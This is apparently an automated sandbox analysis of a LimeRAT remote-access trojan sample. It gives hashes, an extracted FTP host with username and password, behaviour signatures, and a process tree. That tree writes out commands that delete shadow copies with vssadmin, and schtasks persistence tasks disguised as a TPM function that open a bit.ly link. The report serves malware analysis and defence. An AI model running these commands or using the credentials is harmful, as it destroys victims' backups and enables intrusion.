Analysis

  • max time kernel
    151s
  • max time network
    159s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    04-10-2022 21:22

General

  • Target

    851266da3ffdf9c37b139611382b30710ab960b761125cdde6cba1eeaebf24e1.exe

  • Size

    242KB

  • MD5

    10e6c5653d2929236947ca08594f0f55

  • SHA1

    9ed6646ef7f0815d02066b60cd7bbc8d27cbf360

  • SHA256

    851266da3ffdf9c37b139611382b30710ab960b761125cdde6cba1eeaebf24e1

  • SHA512

    8db0fb767897f15cb51fcdefb5b06449e3d41e85e7d2e129fc674a2fa8077f3352dd21e3d8a8b28f4c36a5a9136df65ebd288e47ff58df9a524f650279c3ce30

  • SSDEEP

    6144:mQvE/UVPy/oCa+LDZWC9z5NUb+knq1diDmN:3vzPygCa+DZCnq1c+

Malware Config

Extracted

Credentials

  • Protocol:
    ftp
  • Host:
    ftp.encompossoftware.com
  • Port:
    21
  • Username:
    remoteuser
  • Password:
    Encomposx99

Signatures

  • Contains code to disable Windows Defender 4 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • LimeRAT

    Simple yet powerful RAT for Windows machines written in .NET.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs
  • Modifies security service 2 TTPs 1 IoCs
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Executes dropped EXE 1 IoCs
  • Drops desktop.ini file(s) 2 IoCs
  • Enumerates connected drives 3 TTPs 17 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Disables Windows logging functionality 2 TTPs

    Changes registry settings to disable Windows Event logging.

  • Interacts with shadow copies 2 TTPs 12 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 8 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\851266da3ffdf9c37b139611382b30710ab960b761125cdde6cba1eeaebf24e1.exe
    "C:\Users\Admin\AppData\Local\Temp\851266da3ffdf9c37b139611382b30710ab960b761125cdde6cba1eeaebf24e1.exe"
    1⤵
    • Modifies Windows Defender Real-time Protection settings
    • Modifies security service
    • Drops desktop.ini file(s)
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1988
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" Get-MpPreference -verbose
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:456
    • C:\Windows\system32\cmd.exe
      cmd /c vssadmin Delete Shadows /all /quiet
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:772
      • C:\Windows\system32\vssadmin.exe
        vssadmin Delete Shadows /all /quiet
        3⤵
        • Interacts with shadow copies
        PID:956
    • C:\Windows\system32\cmd.exe
      cmd /c vssadmin resize shadow /for=c: /on=c: /maxsize=401MB
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1124
      • C:\Windows\system32\vssadmin.exe
        vssadmin resize shadow /for=c: /on=c: /maxsize=401MB
        3⤵
          PID:384
      • C:\Windows\system32\cmd.exe
        cmd /c vssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded
        2⤵
          PID:1400
          • C:\Windows\system32\vssadmin.exe
            vssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded
            3⤵
            • Interacts with shadow copies
            PID:560
        • C:\Windows\system32\cmd.exe
          cmd /c vssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded
          2⤵
            PID:1960
            • C:\Windows\system32\vssadmin.exe
              vssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded
              3⤵
              • Enumerates connected drives
              • Interacts with shadow copies
              PID:1160
          • C:\Windows\system32\cmd.exe
            cmd /c vssadmin resize shadowstorage /for=e: /on=e: /maxsize=401MB
            2⤵
              PID:1080
              • C:\Windows\system32\vssadmin.exe
                vssadmin resize shadowstorage /for=e: /on=e: /maxsize=401MB
                3⤵
                • Enumerates connected drives
                • Interacts with shadow copies
                PID:2024
            • C:\Windows\system32\cmd.exe
              cmd /c vssadmin resize shadowstorage /for=e: /on=e: /maxsize=unbounded
              2⤵
                PID:1780
                • C:\Windows\system32\vssadmin.exe
                  vssadmin resize shadowstorage /for=e: /on=e: /maxsize=unbounded
                  3⤵
                  • Enumerates connected drives
                  • Interacts with shadow copies
                  PID:1848
              • C:\Windows\system32\cmd.exe
                cmd /c vssadmin resize shadowstorage /for=f: /on=f: /maxsize=401MB
                2⤵
                  PID:684
                  • C:\Windows\system32\vssadmin.exe
                    vssadmin resize shadowstorage /for=f: /on=f: /maxsize=401MB
                    3⤵
                    • Enumerates connected drives
                    • Interacts with shadow copies
                    PID:1580
                • C:\Windows\system32\cmd.exe
                  cmd /c vssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1952
                  • C:\Windows\system32\vssadmin.exe
                    vssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded
                    3⤵
                    • Enumerates connected drives
                    • Interacts with shadow copies
                    PID:524
                • C:\Windows\system32\cmd.exe
                  cmd /c vssadmin resize shadowstorage /for=g: /on=g: /maxsize=401MB
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:904
                  • C:\Windows\system32\vssadmin.exe
                    vssadmin resize shadowstorage /for=g: /on=g: /maxsize=401MB
                    3⤵
                    • Enumerates connected drives
                    • Interacts with shadow copies
                    PID:1584
                • C:\Windows\system32\cmd.exe
                  cmd /c vssadmin resize shadowstorage /for=g: /on=g: /maxsize=unbounded
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:568
                  • C:\Windows\system32\vssadmin.exe
                    vssadmin resize shadowstorage /for=g: /on=g: /maxsize=unbounded
                    3⤵
                    • Enumerates connected drives
                    • Interacts with shadow copies
                    PID:1064
                • C:\Windows\system32\cmd.exe
                  cmd /c vssadmin resize shadowstorage /for=h: /on=h: /maxsize=401MB
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1204
                  • C:\Windows\system32\vssadmin.exe
                    vssadmin resize shadowstorage /for=h: /on=h: /maxsize=401MB
                    3⤵
                    • Enumerates connected drives
                    • Interacts with shadow copies
                    PID:1420
                • C:\Windows\system32\cmd.exe
                  cmd /c vssadmin resize shadowstorage /for=h: /on=h: /maxsize=unbounded
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1632
                  • C:\Windows\system32\vssadmin.exe
                    vssadmin resize shadowstorage /for=h: /on=h: /maxsize=unbounded
                    3⤵
                    • Enumerates connected drives
                    • Interacts with shadow copies
                    PID:1672
                • C:\Windows\system32\cmd.exe
                  cmd /c Vssadmin delete shadowstorage /all /quiet
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:628
                  • C:\Windows\system32\vssadmin.exe
                    Vssadmin delete shadowstorage /all /quiet
                    3⤵
                    • Interacts with shadow copies
                    PID:828
                • C:\Windows\system32\schtasks.exe
                  schtasks /create /f /st "06:17" /sc daily /mo "3" /tn "Security Chip (TPM) Function" /tr "'explorer'http://bit.ly/347IY80"
                  2⤵
                  • Creates scheduled task(s)
                  PID:2448
                • C:\Windows\system32\schtasks.exe
                  schtasks /create /f /st "10:57" /sc daily /mo "4" /tn "Security Chip (TPM) Function" /tr "'explorer'http://bit.ly/347IY80"
                  2⤵
                  • Creates scheduled task(s)
                  PID:2460
                • C:\Windows\system32\schtasks.exe
                  schtasks /create /f /st "19:12" /sc daily /mo "3" /tn "Security Chip (TPM) Function" /tr "'explorer'http://bit.ly/347IY80"
                  2⤵
                  • Creates scheduled task(s)
                  PID:2472
                • C:\Windows\system32\schtasks.exe
                  schtasks /create /f /st "16:26" /sc weekly /mo "5" /d "Thu" /tn "Security Chip (TPM) Function" /tr "'explorer'http://bit.ly/347IY80"
                  2⤵
                  • Creates scheduled task(s)
                  PID:2500
                • C:\Windows\system32\schtasks.exe
                  schtasks /create /f /st "03:07" /sc monthly /m "mar" /tn "Security Chip (TPM) Function" /tr "'explorer'http://bit.ly/347IY80"
                  2⤵
                  • Creates scheduled task(s)
                  PID:2512
                • C:\Users\Admin\AppData\Roaming\addins\SystemPropertiesPerformance.exe
                  "C:\Users\Admin\AppData\Roaming\addins\SystemPropertiesPerformance.exe"
                  2⤵
                  • Executes dropped EXE
                  PID:2744
              • C:\Windows\system32\vssvc.exe
                C:\Windows\system32\vssvc.exe
                1⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:764

              Network

              MITRE ATT&CK Enterprise v6

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\Users\Admin\AppData\Roaming\addins\SystemPropertiesPerformance.exe

                Filesize

                242KB

                MD5

                10e6c5653d2929236947ca08594f0f55

                SHA1

                9ed6646ef7f0815d02066b60cd7bbc8d27cbf360

                SHA256

                851266da3ffdf9c37b139611382b30710ab960b761125cdde6cba1eeaebf24e1

                SHA512

                8db0fb767897f15cb51fcdefb5b06449e3d41e85e7d2e129fc674a2fa8077f3352dd21e3d8a8b28f4c36a5a9136df65ebd288e47ff58df9a524f650279c3ce30

              • C:\Users\Admin\AppData\Roaming\addins\SystemPropertiesPerformance.exe

                Filesize

                242KB

                MD5

                10e6c5653d2929236947ca08594f0f55

                SHA1

                9ed6646ef7f0815d02066b60cd7bbc8d27cbf360

                SHA256

                851266da3ffdf9c37b139611382b30710ab960b761125cdde6cba1eeaebf24e1

                SHA512

                8db0fb767897f15cb51fcdefb5b06449e3d41e85e7d2e129fc674a2fa8077f3352dd21e3d8a8b28f4c36a5a9136df65ebd288e47ff58df9a524f650279c3ce30

              • memory/384-84-0x0000000000000000-mapping.dmp

              • memory/456-58-0x000007FEEBB40000-0x000007FEEC69D000-memory.dmp

                Filesize

                11.4MB

              • memory/456-56-0x000007FEFBF01000-0x000007FEFBF03000-memory.dmp

                Filesize

                8KB

              • memory/456-55-0x0000000000000000-mapping.dmp

              • memory/456-60-0x000000001B720000-0x000000001BA1F000-memory.dmp

                Filesize

                3.0MB

              • memory/456-61-0x00000000028FB000-0x000000000291A000-memory.dmp

                Filesize

                124KB

              • memory/456-62-0x00000000028F4000-0x00000000028F7000-memory.dmp

                Filesize

                12KB

              • memory/456-63-0x00000000028FB000-0x000000000291A000-memory.dmp

                Filesize

                124KB

              • memory/456-59-0x00000000028F4000-0x00000000028F7000-memory.dmp

                Filesize

                12KB

              • memory/456-57-0x000007FEEC6A0000-0x000007FEED0C3000-memory.dmp

                Filesize

                10.1MB

              • memory/524-79-0x0000000000000000-mapping.dmp

              • memory/560-87-0x0000000000000000-mapping.dmp

              • memory/568-73-0x0000000000000000-mapping.dmp

              • memory/628-76-0x0000000000000000-mapping.dmp

              • memory/684-70-0x0000000000000000-mapping.dmp

              • memory/772-64-0x0000000000000000-mapping.dmp

              • memory/828-80-0x0000000000000000-mapping.dmp

              • memory/904-72-0x0000000000000000-mapping.dmp

              • memory/956-83-0x0000000000000000-mapping.dmp

              • memory/1064-78-0x0000000000000000-mapping.dmp

              • memory/1080-68-0x0000000000000000-mapping.dmp

              • memory/1124-65-0x0000000000000000-mapping.dmp

              • memory/1160-88-0x0000000000000000-mapping.dmp

              • memory/1204-74-0x0000000000000000-mapping.dmp

              • memory/1400-66-0x0000000000000000-mapping.dmp

              • memory/1420-77-0x0000000000000000-mapping.dmp

              • memory/1580-86-0x0000000000000000-mapping.dmp

              • memory/1584-81-0x0000000000000000-mapping.dmp

              • memory/1632-75-0x0000000000000000-mapping.dmp

              • memory/1672-82-0x0000000000000000-mapping.dmp

              • memory/1780-69-0x0000000000000000-mapping.dmp

              • memory/1848-85-0x0000000000000000-mapping.dmp

              • memory/1952-71-0x0000000000000000-mapping.dmp

              • memory/1960-67-0x0000000000000000-mapping.dmp

              • memory/1988-54-0x0000000000820000-0x0000000000862000-memory.dmp

                Filesize

                264KB

              • memory/2024-89-0x0000000000000000-mapping.dmp

              • memory/2448-90-0x0000000000000000-mapping.dmp

              • memory/2460-91-0x0000000000000000-mapping.dmp

              • memory/2472-92-0x0000000000000000-mapping.dmp

              • memory/2500-93-0x0000000000000000-mapping.dmp

              • memory/2512-94-0x0000000000000000-mapping.dmp

              • memory/2744-95-0x0000000000000000-mapping.dmp

              • memory/2744-98-0x0000000000D30000-0x0000000000D72000-memory.dmp

                Filesize

                264KB